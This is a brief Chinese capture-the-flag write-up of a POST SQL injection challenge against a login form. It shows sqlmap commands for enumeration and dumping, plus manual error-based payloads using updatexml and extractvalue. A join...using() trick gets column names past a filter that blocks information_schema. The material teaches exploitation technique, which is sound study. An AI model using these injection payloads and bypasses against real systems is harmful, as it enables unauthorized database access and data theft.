随便输入一些,发现是post注入,直接bp抓包,将数据包内容全部放到1.txt中,sqlmap跑起来
sqlmap -r 1.txt --batch
发现三种类型的注入,接着我们跑下数据库
sqlmap -r 1.txt --batch --dbs
继续,爆表试试
sqlmap -r 1.txt --batch -D security --tables
发现到这一步,sqlmap就跑不了了,所以后端php脚本肯定是过滤了某些字符串,手动测试下,这里使用报错注入来试一试
uname=admin') and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) --+&passwd=1&Submit=%E7%99%BB%E5%BD%95
可以看到这里明显有一个过滤,waf过滤掉了information_schema库,所以需要information_shema bypass,使用join来绕过 用法join … using(xx)
先查询flag表中的字段,第一个字段id
uname=admin') and extractvalue(1,concat(0x7e,(select * from (select * from flag a join flag a)c)))--+ &passwd=1111&Submit=%E7%99%BB%E5%BD%95
第二个字段no
uname=admin') and extractvalue(1,concat(0x7e,(select * from (select * from flag a join flag using(id))c)))--+ &passwd=1111&Submit=%E7%99%BB%E5%BD%95
第三个字段
uname=admin') and extractvalue(1,concat(0x7e,(select * from (select * from flag a join flag using(id,no))c)))--+ &passwd=1111&Submit=%E7%99%BB%E5%BD%95
显然flag字段存在于第三个字段中
a017ad0b-41f8-42b5-9c13-a2b67dc471d4
接着可以回到sqlmap中继续跑下
sqlmap -r 1.txt --batch -D security -T flag -C a017ad0b-41f8-42b5-9c13-a2b67dc471d4 --dump